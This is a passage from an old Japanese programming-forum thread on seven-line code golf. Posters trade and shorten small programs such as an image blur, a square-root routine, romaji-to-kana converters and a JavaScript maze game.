2007/07/10(火) 00:36:20なんかそれだと上手くいったりするんでしょうね。
でも僕はやっぱりワイド文字の扱いが良く分かっていないので、
もしよければワイド文字処理版を作ってみてくださいな。
0497デフォルトの名無しさん
2007/07/10(火) 02:01:230498デフォルトの名無しさん
2007/07/10(火) 17:42:56m=new Bitmap(a[0]);int o,p,q,r,g,b,t,l,z=int.Parse(a[2]),w,h=0,W=m.Width,H=m.
Height;Bitmap v=new Bitmap(W,H);Color c;for(;h<H;h++)for(w=0;w<W;w++){p=r=g=b=
0;for(t=-z;t<2;t++)if((o=h+t)>0&&o<H)for(l=-z;l<2;l++)if((q=w+l)>0&&q<W){c=m.
GetPixel(q,o);r+=c.R;g+=c.G;b+=c.B;p++;}v.SetPixel(w,h,Color.FromArgb(r/p,g/p,
b/p));}v.Save(a[1]);}}
画像ぼかし。
これならマスク使える…?
0499498
2007/07/10(火) 19:23:38=new Bitmap(a[0]);int o,p,q,r,g,b,t,l,z=int.Parse(a[2]),w,h=0,W=m.Width,H=m.
Height;Bitmap v=new Bitmap(W,H);Color c;for(;h<H;h++)for(w=0;w<W;w++){p=r=g=b=
0;for(t=-z;t<z;t++)if((o=h+t)>-1&&o<H)for(l=-z;l<z;l++)if((q=w+l)>-1&&q<W){c=m
.GetPixel(q,o);r+=c.R;g+=c.G;b+=c.B;p++;}v.SetPixel(w,h,Color.FromArgb(r/p,g/p
,b/p));}v.Save(a[1]);}}
範囲が-指定値から2までになってたのを修正 orz
using System;using System.Drawing;using System.Drawing.Imaging;using System.
Runtime.InteropServices;class P{static void Main(string[]a){Bitmap m=new
Bitmap(a[0]);int o,p,q,r,g,b,t,l,z=int.Parse(a[2]),w,h=0,W=m.Width,H=m.Height,
y=W*H*3,e;byte[]src,dst;src=dst=new byte[y];BitmapData d=m.LockBits(new
Rectangle(0,0,W,H),ImageLockMode.ReadWrite,PixelFormat.Format24bppRgb);e=d.
Stride;Marshal.Copy(d.Scan0,src,0,y);for(;h<H;h++)for(w=0;w<W;w++){p=r=g=b=0;
for (t=-z;t<z;t++)if((o=h+t)>-1&&o<H)for(l=-z;l<z;l++)if((q=w+l)>-1&&q<W){
r+=src[o*e+q*3];g+=src[o*e+q*3+1];b+=src[o*e+q*3+2];p++;}dst[h*e+w*3]=(byte)(
r/p);dst[h*e+w*3+1]=(byte)(g/p);dst[h*e+w*3+2]=(byte)(b/p);}Marshal.Copy(dst,
0,d.Scan0,y);m.UnlockBits(d);m.Save(a[1]);}}
高速化版。誰か短くして orz
0500デフォルトの名無しさん
2007/07/11(水) 00:07:150501デフォルトの名無しさん
2007/07/11(水) 08:57:140502デフォルトの名無しさん
2007/07/12(木) 02:21:33動作確認テストをやっている最中に虚しくなってやめた。
ゲームって難しいなぁ。
0503デフォルトの名無しさん
2007/07/13(金) 00:56:21part4って297レスしかつかなかったの?
0504デフォルトの名無しさん
2007/07/13(金) 00:58:330505デフォルトの名無しさん
2007/07/15(日) 13:11:080506デフォルトの名無しさん
2007/07/15(日) 19:06:020507デフォルトの名無しさん
2007/07/15(日) 22:41:3905086
2007/07/16(月) 01:29:02俺工房だから間違えてるのかもしれない
0509デフォルトの名無しさん
2007/07/16(月) 01:58:27double s(double c){double x;int i,n;n = 10;x = 0;do {x += 1;} while (x * x < c);
for (i = 0;i < n;i++) {x = (x + c / x)/2;}return x;}int main(){double c;int a;
scanf("%d", &a);c = s(a);printf("√は%lfです。\n", c);return 0;}
ニュートン法を使ったあれです。
いじくってやってください。
0510デフォルトの名無しさん
2007/07/16(月) 21:05:292.初期化と代入は一緒に
3.+=1は++に
でだいぶ短くなる予感。
ニュートン法とやらがあってるんかは知らんけどw
0511デフォルトの名無しさん
2007/07/16(月) 21:27:20x=0;scanf("%d",&c);do x++;while(x*x<c);while(--n)x=(x+c/x)/2;printf("sqrt(%d)=\
%f\n",c,x);return 0;}
0512デフォルトの名無しさん
2007/07/16(月) 23:12:42f("%lf",&c);x*x<c;)++x;for(;n--;x/=2)x+=c/x;return!printf("√は%fです。\n",x);}
0513デフォルトの名無しさん
2007/07/22(日) 20:17:55..>...<<+++.---.> >..<....>...<..................>..<.............>...<.................>..<<+++.---.>
>.......<...>..<..>..<..>.....<..................>..<............>.....<..>..<..>..<<+++.---.> >..<..
..>..<..>....<...>..<...>..<...>..<.>..<.>....<..>......<.>..<...>..<.>..<...>..<.>..<.>..<<++
+.---.> >..<.....>..<.>..<......>......<...>..<.>...<...>..<...>..<...>..<...>..<.>..<......>...<<
+++.---.> >..<....>...<.>..<.....>..<...>..<...>..<.>..<....>..<...>..<...>..<...>..<.>..<...>..
<.>..<.>..<<+++.---.> >........<..>..<......>....<.>...<.>..<.>..<....>..<...>..<....>.....<...>.....<..>..<...>..
0514デフォルトの名無しさん
2007/07/30(月) 13:01:28なんのプログラム?
0515デフォルトの名無しさん
2007/07/30(月) 13:02:570516デフォルトの名無しさん
2007/07/30(月) 13:03:45言語は何なのかおせーて
0517デフォルトの名無しさん
2007/07/30(月) 13:04:230518デフォルトの名無しさん
2007/07/30(月) 13:08:58+++++++++[>++++++++>+++++++++++>+++++<<<-]>.>++.+++++++..+++.>-.
------------.<++++++++.--------.+++.------.--------.>+.
0519デフォルトの名無しさん
2007/07/30(月) 21:50:24やってまいりました。
ヘボン式訓令式どちらもサポートすると
おそらく300バイト程度の関数になるでしょうか?
●ローマ字半角カナ変換(Sの|Sを)
A=(「shi|chi|tsu|fu|wi|wu|we|ji|kya|kyu|kyo|sya|syu|syo|tya|tyu|tyo|nya|nyu|nyo|hya|hyu|hyo|mya|myu|myo|rya|ryu|
ryo|gya|gyu|gyo|zya|zyu|zyo|bya|byu|byo|pya|pyu|pyo|sha|shu|sho|cha|chu|cho|ja|ju|jo|ka|ki|ku|ke|ko|sa|si|su|se|so|
ta|ti|tu|te|to|na|ni|nu|ne|no|ha|hi|hu|he|ho|ma|mi|mu|me|mo|ya|yu|yo|ra|ri|ru|re|ro|wa|wo|ga|gi|gu|ge|go|za|zi|zu|ze|
zo|da|di|du|de|do|ba|bi|bu|be|bo|pa|pi|pu|pe|po|nn|n|a|i|u|e|o」の改行を空に置換)を"|"で区切る。
B=(「シ|チ|ツ|フ|ウィ|ウ|ウェ|ジ|キャ|キュ|キョ|シャ|シュ|ショ|チャ|チュ|チョ|ニャ|ニュ|ニョ|ヒャ|ヒュ|ヒョ|ミャ|ミュ|ミョ|リャ|リュ|リョ|ギャ|ギュ|ギョ|ジャ|ジュ|ジョ|ビャ|
ビュ|ビョ|ピャ|ピュ|ピョ|シャ|シュ|ショ|チャ|チュ|チョ|ジャ|ジュ|ジョ|カ|キ|ク|ケ|コ|サ|シ|ス|セ|ソ|タ|チ|ツ|テ|ト|ナ|ニ|ヌ|ネ|ノ|ハ|ヒ|フ|ヘ|ホ|マ|ミ|ム|メ|モ|ヤ|ユ|ヨ|ラ|
リ|ル|レ|ロ|ワ|ヲ|ガ|ギ|グ|ゲ|ゴ|ザ|ジ|ズ|ゼ|ゾ|ダ|ヂ|ヅ|デ|ド|バ|ビ|ブ|ベ|ボ|パ|ピ|プ|ペ|ポ|ン|ン|ア|イ|ウ|エ|オ」の改行を空に置換)を"|"で区切る。
Aで反復、S=Sの対象をB[回数-1]に置換。
Sで戻る。
誰か短くしてくれ
0521デフォルトの名無しさん
2007/07/30(月) 22:48:230523デフォルトの名無しさん
2007/07/31(火) 00:25:270524デフォルトの名無しさん
2007/07/31(火) 03:37:18スレに貼れないし。鬱だ氏のうorz
0525デフォルトの名無しさん
2007/07/31(火) 08:02:16それって擬似コード?それともなでしこ?
正攻法がどんなんかわからん・・・この方法じゃこれ以上削れそうにないし・・・
0527デフォルトの名無しさん
2007/07/31(火) 14:57:44トェェイがうまく変換できません・・・
0528デフォルトの名無しさん
2007/07/31(火) 15:01:03//キョウハスウネンブリニダイガクニイッテコヨウトオモイマストェェイアーッ
●ローマ字半角カナ変換(Sの|Sを)
A=(「-|ltu|xtu|la|li|lu|le|lo|xa|xi|xu|xe|xo|bb|cc|dd|ff|gg|hh|jj|kk|ll|mm|pp|qq|rr|ss|tt|vv|ww|xx|yy|zz|ye|dhu|shi|chi|tsu|
fu|wi|wu|we|ji|kya|kyu|kyo|sya|syu|syo|tya|tyu|tyo|nya|nyu|nyo|hya|hyu|hyo|mya|myu|myo|rya|ryu|ryo|gya|gyu|gyo|zya|
zyu|zyo|bya|byu|byo|pya|pyu|pyo|sha|shu|sho|cha|chu|cho|ja|ju|jo|ka|ki|ku|ke|ko|sa|si|su|se|so|ta|ti|tu|te|to|na|ni|nu|ne|
no|ha|hi|hu|he|ho|ma|mi|mu|me|mo|ya|yu|yo|ra|ri|ru|re|ro|wa|wo|ga|gi|gu|ge|go|za|zi|zu|ze|zo|da|di|du|de|do|ba|bi|bu|be|
bo|pa|pi|pu|pe|po|nn|n|a|i|u|e|o」の改行を空に置換)を"|"で区切る。
B=(「ー|ッ|ッ|ァ|ィ|ゥ|ェ|ォ|ァ|ィ|ゥ|ェ|ォ|ッb|ッc|ッd|ッf|ッg|ッh|ッj|ッk|ッl|ッm|ッp|ッq|ッr|ッs|ッt|ッv|ッw|ッx|ッy|ッz|イェ|デュ|シ|チ|ツ|フ|ウィ|ウ|ウェ|ジ|キャ|
キュ|キョ|シャ|シュ|ショ|チャ|チュ|チョ|ニャ|ニュ|ニョ|ヒャ|ヒュ|ヒョ|ミャ|ミュ|ミョ|リャ|リュ|リョ|ギャ|ギュ|ギョ|ジャ|ジュ|ジョ|ビャ|ビュ|ビョ|ピャ|ピュ|ピョ|シャ|シュ|ショ|
チャ|チュ|チョ|ジャ|ジュ|ジョ|カ|キ|ク|ケ|コ|サ|シ|ス|セ|ソ|タ|チ|ツ|テ|ト|ナ|ニ|ヌ|ネ|ノ|ハ|ヒ|フ|ヘ|ホ|マ|ミ|ム|メ|モ|ヤ|ユ|ヨ|ラ|リ|ル|レ|ロ|ワ|ヲ|ガ|ギ|グ|ゲ|ゴ|
ザ|ジ|ズ|ゼ|ゾ|ダ|ヂ|ヅ|デ|ド|バ|ビ|ブ|ベ|ボ|パ|ピ|プ|ペ|ポ|ン|ン|ア|イ|ウ|エ|オ」の改行を空に置換)を"|"で区切る。
Aで反復、S=Sの対象をB[回数-1]に置換。
Sで戻る。
:::::::::::.: .:. . ∧_∧ . . . .: ::::::::
:::::::: :.: . . /彡ミ゛ヽ;)ヽ、. ::: : ::
::::::: :.: . . / :::/:: ヽ、ヽ、i . .:: :.: :::
 ̄ ̄ ̄(_,ノ  ̄ ̄ヽ、_ノ ̄
0530デフォルトの名無しさん
2007/07/31(火) 17:02:01ちょw
スレタイを7回音読しろよw
0532デフォルトの名無しさん
2007/07/31(火) 19:11:57クァ/qwa
0533524
2007/07/31(火) 20:50:37"py|qw|qy|fw|fy|jy|vy|cy|ch|xy|ly|k|s|t|n|h|m|y|r|w|g|z|d|b|p|q|f|j|v|c|x|l|"+
"a|i|u|e|o";var B="ッ|ッ|クァ|キy|スa|シy|シャ|シ|シュ|シェ|ショ|トa|チy|テy|ニy|ヒy|ミy|リy|ウァ|ウィ"+
"|ウ|ウェ|ウォ|グa|ギy|ジy|ドa|ヂy|デy|ビy|ピy|クa|キy|フa|フy|ジy|ヴy|チy|チャ|チ|チュ|チェ|"+
"チョ|y|y|カ@|サ@|タ@|ナ@|ハ@|マ@|ヤ|イ|ユ|イェ|ヨ|ラ@|ワ|ウィ|ウ|ウェ|ヲ|カ@゙|サ@゙|タ@゙|ハ@゙|ハ@゚|クァ|ク"+
"ィ|ク|クェ|クォ|ファ|フィ|フ|フェ|フォ|ジャ|ジ|ジュ|ジェ|ジョ|ヴァ|ヴィ|ヴ|ヴェ|ヴォ|カ|シ|ク|セ|コ|a|a"+
"|ア|イ|ウ|エ|オ";B=B.replace(/\|.@([゚゙]?)/g,function(e){var r="";for(var i=0;i<5;
i++)r+="|"+String.fromCharCode(e.charCodeAt(1)+i)+RegExp.$1;return r}).replace
(/([^\|]*)a\|/g,"$1ァ|$1ィ|$1ゥ|$1ェ|$1ォ|").replace(/([^\|]*)y\|/g,"$1ャ|$1ィ|$1ユ|"+
"$1ェ|$1ョ|").split("|");A=A.replace(/([^aiueo]{1,2})\|/g,"$1a|$1i|$1u|$1e|$1o|"
).split("|");var t=prompt().replace("nn","ン").replace(/([^aiueo])\1/g,"ッ$1").
replace(/n([^aiueo]|$)/g,"ン$1");for(var i=0;i<A.length;i++)t=t.replace(A[i],
B[i],"g");alert(t);
正規表現を使わないでやっていたが、なでしこのコードを参考にして13行。MS-IMEで出る字は大体出ると思うけど。
まだ冗長だなあ。
M="ky|sy|ty|ny|hy|my|ry|gy|zy|by|py|sh|ch|j|y"を"|"で 区切;N="a|u|o"を"|"で区切;Mで反復,D=対象;Nで反復,YにD&対象を一行追加;
P="l|x|w|k|s|t|n|h|m|r|g|z|d|b|p"を"|"で区切;Q="a|i|u|e|o"を"|"で区切;Pで反復,E=対象;Qで反復,ZにE&対象を一行追加;
A="{Xを"|"で区切}{\n}{Y}{Z}nn{\n}n{\n}a{\n}i{\n}u{\n}e{\n}o";B=(("ー|ッ|ッ|ッb|ッc|ッd|ッf|ッg|ッh|ッj|ッk|ッl|ッm|ッp|ッq|ッr|ッs|ッt|ッv|ッw|ッx|ッy|ッz|イェ|デュ|シ|チ|ツ|
フ|ジ|キャ|キュ|キョ|シャ|シュ|ショ|チャ|チュ|チョ|ニャ|ニュ|ニョ|ヒャ|ヒュ|ヒョ|ミャ|ミュ|ミョ|リャ|リュ|リョ|ギャ|ギュ|ギョ|ジャ|ジュ|ジョ|ビャ|ビュ|ビョ|ピャ|ピュ|ピョ|シャ|シュ|ショ|チャ|チュ|チョ|
ジャ|ジュ|ジョ|ヤ|ユ|ヨ|ァ|ィ|ゥ|ェ|ォ|ァ|ィ|ゥ|ェ|ォ|ワ|ウィ|ウ|ウェ|ヲ|カ|キ|ク|ケ|コ|サ|シ|ス|セ|ソ|タ|チ|ツ|テ|ト|ナ|ニ|ヌ|ネ|ノ|ハ|ヒ|フ|ヘ|ホ|マ|ミ|ム|メ|モ|ラ|リ|ル|レ|ロ|ガ|ギ|グ|ゲ|ゴ|
ザ|ジ|ズ|ゼ|ゾ|ダ|ヂ|ヅ|デ|ド|バ|ビ|ブ|ベ|ボ|パ|ピ|プ|ペ|ポ|ン|ン|ア|イ|ウ|エ|オ")の改行を空に置換)を"|"で区切;Aで反復,S=Sの対象をB[回数-1]に置換;
>>533を参考にして苦しいがスレタイ通りに・・・(゚Д゚;)
0535デフォルトの名無しさん
2007/07/31(火) 21:54:140537デフォルトの名無しさん
2007/07/31(火) 22:19:30ソースコードのハッシュを算出する
ハッシュを元にソースコードをDLしてくる
→事実上ソースコードはハッシュ文字数に圧縮される ∩( ・ω・)∩ ばんざーい
0539デフォルトの名無しさん
2007/07/31(火) 22:36:237行79桁でファイル共有ソフトを書けと。
●ローマ字半角カナ変換(Sの|Sを)
経過ダイアログはオフ。
A=((「http://isoroku.net/A.txt」をHTTPデータ取得)の改行を空に置換)を"|"で区切る。
B=((「http://isoroku.net/B.txt」をHTTPデータ取得)の改行を空に置換)を"|"で区切る。
Aで反復、S=Sの対象をB[回数-1]に置換。
Sで戻る。
//∩( ・ω・)∩ ばんざーい
//orz
0541デフォルトの名無しさん
2007/08/01(水) 03:10:59疑似コードにしか見えんw
0542デフォルトの名無しさん
2007/08/01(水) 08:49:440543デフォルトの名無しさん
2007/08/01(水) 15:08:000544デフォルトの名無しさん
2007/08/01(水) 15:26:470545デフォルトの名無しさん
2007/09/03(月) 14:33:170546デフォルトの名無しさん
2007/09/03(月) 14:40:00httpでプログラム取得、実行、というプログラムを書けば
汎用七行になってしまう
0547デフォルトの名無しさん
2007/09/03(月) 14:41:49こええよw
0548デフォルトの名無しさん
2007/09/03(月) 16:38:260549デフォルトの名無しさん
2007/09/03(月) 18:44:35JavaScript が怖くて常に OFF にしてるの?
サンドボックスがまともならそんなに怖くないかと
0550デフォルトの名無しさん
2007/09/03(月) 18:45:580551デフォルトの名無しさん
2007/09/04(火) 02:51:010552デフォルトの名無しさん
2007/09/04(火) 02:59:15中身見たこと無いけどこの本のことは話題にはならないのね。
0553デフォルトの名無しさん
2007/09/04(火) 12:23:180554デフォルトの名無しさん
2007/09/12(水) 20:08:51どんな内容かおせーて
0555デフォルトの名無しさん
2007/09/22(土) 00:10:16トリッキースレの後継スレみたいなのないのかな。
別のスレで出た話ですが、
int my_fputwc(wint_t c, FILE *fp)
{ wint_t r = fputwc(c, fp);
return (r == WEOF) ? EOF : r;
}
int wtbl[0x10000];
void dokkade_jikkou(void ) {
int i;
for (i = 0; i < 0x10000; i++)
wtbl[i] = i;
wtbl[0xffff] = EOF;
}
int my_fputwc(wint_t c, FILE *fp) return wtbl[fputwc(c, fp);]; }
みたいなこと(WEOF(wint_tの0xffff)をEOF(intの-1)に変換)
をもっとスマートに行う方法ないですかね。
0556デフォルトの名無しさん
2007/09/22(土) 00:37:10基本的に劣っていると考えたい・・・
0557デフォルトの名無しさん
2007/09/22(土) 01:01:47int my_fputwc(wint_t c, FILE *fp)
{
wint_t r = fputwc(c, fp);
return ((!(r ^ 0xffff)) * EOF) | r;
}
0558デフォルトの名無しさん
2007/09/22(土) 01:04:03http://www.mozilla-japan.org/
シンプル プログミング ツール
http://proforceone.web.fc2.com/
素因数分解サンプルプログラム
Calculation processing にコピーして[RUN]
A=2*3*5*11*13*17*19;
x=A;write(" "+x+" ⇒");
for(i=2;x>=i;i++){if(0==x%i){k=0;
for(j=2;(i>=j)&&(1>=k);j++){
if(0==i%j){k++;}
} if(1==k){write(" "+i);}
}}
0559デフォルトの名無しさん
2007/09/22(土) 14:40:32どう考えてもfputwcが重すぎで大差ない気がするが
int my_fputwc(wint_t c, FILE *fp)
{ wint_t r = fputwc(c, fp);
return (~r + 0xFFFF&0xFFFF0000)^r;
}
0560デフォルトの名無しさん
2007/10/14(日) 21:43:130561デフォルトの名無しさん
2007/11/14(水) 22:52:050562デフォルトの名無しさん
2007/11/14(水) 23:09:490563デフォルトの名無しさん
2007/11/15(木) 04:38:010564デフォルトの名無しさん
2007/11/15(木) 04:41:3020 LINE INPUT #1, A$
30 PRINT #1, A$
40 IF NOT EOF(1) THEN GOTO 20
50 CLOSE #1
60 END
70
0565デフォルトの名無しさん
2007/11/17(土) 08:34:204文字v
0566デフォルトの名無しさん
2007/11/17(土) 12:01:10これなに?
0567デフォルトの名無しさん
2007/11/17(土) 13:46:530568デフォルトの名無しさん
2007/11/17(土) 13:57:060569デフォルトの名無しさん
2007/11/17(土) 14:27:160570デフォルトの名無しさん
2007/11/18(日) 01:00:540571デフォルトの名無しさん
2007/11/18(日) 03:11:21そりゃただのechoコマンドじゃないか。
0572デフォルトの名無しさん
2007/11/19(月) 19:24:25TCP/UDP 7
0573デフォルトの名無しさん
2007/11/19(月) 19:31:430574デフォルトの名無しさん
2007/11/19(月) 23:16:44もしかして過疎?
0575デフォルトの名無しさん
2007/11/19(月) 23:27:590576デフォルトの名無しさん
2007/11/19(月) 23:30:57とりあえず書いてけよ。
0577デフォルトの名無しさん
2007/11/19(月) 23:55:55誰かもっと削ってー
0578デフォルトの名無しさん
2007/11/20(火) 18:47:23でもやっぱりスレチだよな。ゲ製に投下してくる
0579デフォルトの名無しさん
2007/11/20(火) 18:50:49スルーしたわけじゃないんだ。
ちょっと分野が違った。
すまね。
0580デフォルトの名無しさん
2007/11/20(火) 20:12:05あとは表示が 1,2,3,x になってもいいならn=[1,b=2,x=3,"\\n"]とするとか
0581デフォルトの名無しさん
2007/11/20(火) 21:17:33あっちで好評だったからもう気にしないんだぜw
>>580
考えてくれてたのかサンクス
なるほど、id=B はまったく思い付かなかった。コンマも気にしないからやってみたら
n=[1,b=2,x=3,"\n"]; ってエスケープ1つで動いた
これで結局 179Byte wwwこれ以上は想像もつかんw
ああ、 onclick はなんとなくタブーねww
0582デフォルトの名無しさん
2007/11/21(水) 00:16:200583デフォルトの名無しさん
2007/11/21(水) 00:21:47使ってみるがよろし。
0584デフォルトの名無しさん
2007/11/21(水) 00:34:490585デフォルトの名無しさん
2007/11/21(水) 00:49:34n[0]*6-n[1]*5-n[2]
n[2-i]+=n[2-i]-7?1:-6;
n[2-i]=n[2-i]%7+1;
n[0]*6-n[1]*5-n[2]はちゃんと動くか分からん
0586デフォルトの名無しさん
2007/11/21(水) 01:05:20上のは [2,1,7] で誤作動しますね
下のは (; Д )゚ ゚
0587デフォルトの名無しさん
2007/11/21(水) 01:15:21だと大丈夫?
0588デフォルトの名無しさん
2007/11/21(水) 01:23:00最後の桁がぐるぐる回り続けてるだけだった
0589デフォルトの名無しさん
2007/11/21(水) 01:24:21いま 174Byte ですか。まだまだ削れそうな気がしてきました
0590デフォルトの名無しさん
2007/11/21(水) 01:30:39<body id=B onload=n=[1,b=2,x=3,"\n"];setInterval('for(i=3;b<i--;)if(i<x)n[2-i]=n[2-i]%7+1;b+=b?-1:2;B.innerHTML=x?n:n+(n[0]*7-n[1]*6-n[2]?"x":"o")',50) onmousedown=x+=x?-1:3>
これで動かないか?
0591デフォルトの名無しさん
2007/11/21(水) 01:34:08うごく
0592デフォルトの名無しさん
2007/11/21(水) 02:05:57B使うとかあらゆる意味で邪道だな
クソだ
0593デフォルトの名無しさん
2007/11/21(水) 08:26:490594デフォルトの名無しさん
2007/11/21(水) 08:49:45onload=""って括ってないとか、<title>タグが無いとか、
innerHTMLで配列を代入とか、仕様違反が多すぎる。
0595デフォルトの名無しさん
2007/11/21(水) 09:00:480596デフォルトの名無しさん
2007/11/21(水) 09:09:20そもそもDTD宣言がないからHTML4かどうかもわからないんだけどな
0597デフォルトの名無しさん
2007/11/21(水) 09:27:11配列は toString メソッドが暗黙に呼び出されて文字列になる
0598デフォルトの名無しさん
2007/11/21(水) 15:55:51そもそもinnerHTMLが仕様にないので、暗黙的にtoStringが呼ばれるとは限らない
しかしArrayのtoStringの仕様がjoinだとはしらなんだ
0599デフォルトの名無しさん
2007/11/21(水) 16:45:570600デフォルトの名無しさん
2007/11/21(水) 16:53:460601デフォルトの名無しさん
2007/11/21(水) 17:37:330602デフォルトの名無しさん
2007/11/21(水) 18:58:08PartIでincludeは1行じゃない、ってほざいてた奴らいたなぁ
0603デフォルトの名無しさん
2007/11/21(水) 22:16:04それだとcを短くするのもナンセンスだよね。
return消して ファイルクローズ消して そのたもろもろ.
0604デフォルトの名無しさん
2007/11/21(水) 22:31:46Cで言ったら鼻から悪魔系のナンセンスだよ
0605デフォルトの名無しさん
2007/11/21(水) 22:33:45鼻から悪魔久しぶりに聞いたw。
0606デフォルトの名無しさん
2007/11/21(水) 22:44:22俺も久しぶりに言ったので最初鼻から牛乳って書いちゃった
あれ?なんか違うな、みたいな
0607デフォルトの名無しさん
2007/11/21(水) 22:55:44パート1の作者達はreturnもしていればメモリ解放もしてるからこそ
鉄壁の評価を得ていたわけだし
60さんとか、まだここ見てないかな
0608デフォルトの名無しさん
2007/11/24(土) 01:33:38元ネタなんだっけ?
0609デフォルトの名無しさん
2007/11/24(土) 01:42:510610デフォルトの名無しさん
2007/11/24(土) 18:16:02>鼻から悪魔
comp.std.c 発祥みたいね
devils じゃなくて demons なんだ
"demons fly out of your nose”
http://www.catb.org/jargon/html/N/nasal-demons.html
0611デフォルトの名無しさん
2007/11/24(土) 18:50:170612デフォルトの名無しさん
2007/11/24(土) 19:49:15printf("Hello World");
return; ←ここで鼻から牛乳が噴出す
}
0613デフォルトの名無しさん
2007/11/24(土) 23:45:31C99では噴出さない
0614デフォルトの名無しさん
2007/11/25(日) 00:01:18かくのわすれrてた
0615デフォルトの名無しさん
2007/11/25(日) 23:36:44/ ヽ
-―ニ二二二二ニ>、
ァ /ィ=-_ _ト-、)
( Y ー==j〈二゙i )
ゝ i - r ヾ"^j )。
( ) `- ≦三。゚・
ゞ ∧ヾ ゝ゚ ≦三゚。 ∧_∧
(_/ ヽ゚≧ 三=- ,´\(´∀`)/ ヽ
/|ヽ \ァ ≧-ノソリ⊂ ⊃ ,从
| \ イレ、 >= (,,ノ,,ノ
| ≦Vヾ ヾ≧ 彡
〉 く。゚/。イハ 、、ミ。゚
0616デフォルトの名無しさん
2007/11/26(月) 07:46:43/ ヽ
-―ニ二二二二ニ>、
ァ /ィ=-_ _ト-、)
( Y ー==j〈二゙i )
ゝ i - r ヾ"^j )。
( ) `- ≦三。゚・
ゞ ∧ヾ ゝ゚ ≦三゚。 ∧_∧
(_/ ヽ゚≧ 三=- ,´\(´∀`)/ ヽ
/|ヽ \ァ ≧-ノソリ⊂ ⊃ ,从
| \ イレ、 >= (,,ノ,,ノ
| ≦Vヾ ヾ≧ 彡
〉 く。゚/。イハ 、、ミ。゚
0617デフォルトの名無しさん
2007/11/26(月) 22:05:18/ ヽ
-―ニ二二二二ニ>、
ァ /ィ=-_ _ト-、)
( Y ー==j〈二゙i )
ゝ i - r ヾ"^j )。
( ) `- ≦三。゚・
ゞ ∧ヾ ゝ゚ ≦三゚。 ∧_∧
(_/ ヽ゚≧ 三=- ,´\(´∀`)/ ヽ
/|ヽ \ァ ≧-ノソリ⊂ ⊃ ,从
| \ イレ、 >= (,,ノ,,ノ
| ≦Vヾ ヾ≧ 彡
〉 く。゚/。イハ 、、ミ。゚
0618デフォルトの名無しさん
2007/11/27(火) 23:58:360619デフォルトの名無しさん
2007/11/28(水) 16:22:50/ ヽ
-―ニ二二二二ニ>、
ァ /ィ=-_ _ト-、)
( Y ー==j〈二゙i )
ゝ i - r ヾ"^j )。
( ) `- ≦三。゚・
ゞ ∧ヾ ゝ゚ ≦三゚。 ∧_∧
(_/ ヽ゚≧ 三=- ,´\(´∀`)/ ヽ
/|ヽ \ァ ≧-ノソリ⊂ ⊃ ,从
| \ イレ、 >= (,,ノ,,ノ
| ≦Vヾ ヾ≧ 彡
〉 く。゚/。イハ 、、ミ。゚
0620デフォルトの名無しさん
2007/11/28(水) 17:19:470621デフォルトの名無しさん
2007/11/28(水) 17:21:230622デフォルトの名無しさん
2007/11/28(水) 17:30:50/ ヽ
-―ニ二二二二ニ>、
ァ /ィ=-_ _ト-、)
( Y ー==j〈二゙i )
ゝ i - r ヾ"^j )。
( ) `- ≦三。゚・
0623デフォルトの名無しさん
2007/12/18(火) 15:39:42サー
バー
規制
解除
記念
w
0624デフォルトの名無しさん
2007/12/18(火) 16:09:59test
0625デフォルトの名無しさん
2007/12/18(火) 21:09:460626デフォルトの名無しさん
2007/12/23(日) 04:35:43初めてやってみたので何かルールが違ったらごめんなさい。
<body onkeydown=C()><pre id=z><script>s=99;v=16;p={};F=Math.floor;t=u=s-1;for(i
=s*s;i>0;p[--i]=0);for(;i++<s*s;)if(i%s%2==1&&F(i/s)%2==1){while(p[j=i+((r=F(4*
Math.random())-2)%2?r*s:r+1)]);p[i]=p[j]=1;}B();function B(){o=v/2-1;k="";for(i
=0;i<v*v;i++)m=i%v-o+t,n=F(i/v)-o+u,k+=i%v==0?"\n":"",k+=D(m,n)?m==t&&n==u?"自"
:!m&&!n?"終":p[m+n*s]?"■":" ":"■";z.innerText=k}function C(){c=event.keyCode
-37;if(c>=0&&c<=3){m=t;n=u;c%2?n+=c-2:m+=c-1;if(D(m,n)&&!p[m+n*s])t=m,u=n;B();if
(!t&&!u)alert("end")}}function D(m,n){return m>=0&&n>=0&&m<s&&n<s}</script>
散々既出な気がするHTMLの迷路ゲーム。IE6/IE7でのみ動作確認。
一行目の「s=99」がマップの広さ(奇数指定)、「v=16」が可視範囲(偶数指定)。
右下スタートの左上ゴール。
迷路作成は収めるためにかなり適当。なので正解路は一本じゃない。
徐々にソースを縮めてくのが面白いですね。
0627デフォルトの名無しさん
2007/12/23(日) 13:26:10面白いけど、firefoxじゃダメなのかな?
0628デフォルトの名無しさん
2007/12/23(日) 15:36:100629デフォルトの名無しさん
2007/12/23(日) 20:10:42z.innerText=k → z.innerHTML=k
onkeydown=C() → onkeydown=C(event)
function C() → function C(e)
c=event.keyCode → c=e.keyCode
に修正すれば一応Firefoxでも動いた。ただしJavaScriptコンソールは見ちゃダメ
詰めれば一応7行×79文字にもなる。
0630デフォルトの名無しさん
2007/12/23(日) 21:25:280631デフォルトの名無しさん
2007/12/23(日) 23:03:41&&n<s};s=99;v=16;p={};F=Math.floor;t=u=s-1;for(i=s*s;i>0;p[--i]=0);for(;i++<s*s
;)if(i%s%2==1&&F(i/s)%2==1){while(p[j=i+((r=F(4*Math.random())-2)%2?r*s:r+1)]);
p[i]=p[j]=1;};B = function(k){o=v/2-1;for(i=0;i<v*v;i++)m=i%v-o+t,n=F(i/v)-o+u,
k+=i%v==0?"<br>":"",k+=D(m,n)?m==t&&n==u?"自":!m&&!n?"終":p[m+n*s]?"■":" ":"■";
document.body.innerHTML=k};B("")' onkeydown="c=event.keyCode-37;if(c>=0&&c<=3){
m=t;n=u;c%2?n+=c-2:m+=c-1;if(D(m,n)&&!p[m+n*s])t=m,u=n;B(!t&&!u?'end':'')}">
0632デフォルトの名無しさん
2007/12/24(月) 00:23:26&&n<s};s=13;v=28;p={};F=Math.floor;t=u=s-1;for(i=s*s;i>0;p[--i]=0);for(;i++<s*
s;)if(i%s%2*F(i/s)%2==1){while(p[j=i+((r=F(4*Math.random())-2)%2?r*s:r+1)]);p[
i]=p[j]=1;};B=function(k){o=v/2-1;for(i=0;i<v*v;i++)m=i%v-o+t,n=F(i/v)-o+u,k+=
i%v==0?"<br>":"",k+=D(m,n)?m==t&&n==u?"自":!m&&!n?"終":p[m+n*s]?"■":" ":"■"
b.innerHTML=k};B("")'onkeydown="c=event.keyCode-37;if(c>=0&&c<=3){m=t;n=u;c%2?
